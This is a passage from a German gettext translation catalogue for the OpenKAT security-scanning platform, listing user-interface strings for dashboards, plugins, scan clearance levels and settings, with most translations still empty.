crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"Löschen\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"Bearbeiten\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"Einstellungen\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"Rasteransicht\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"Tabellenansicht\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\"Sie haben derzeit keine durchsuchbaren Objekte für %(name)s. Füge Objekte \"\n\"hinzu, um dieses Boefje zu verwenden. Dieses Boefje kann Objekte der \"\n\"folgenden Typen scannen:\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"Das Formular konnte nicht initialisiert werden.\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"Erforderliche Einstellungen\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"Hinzufügen\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"Erforderlich für:\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"Plugins Übersicht:\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"Pluginname\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"Plugintyp\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"Pluginbeschreibung\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"Aktionen\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"Plugins-Navigation\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"Boefjes\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"Normalisierer\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"Alle\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid 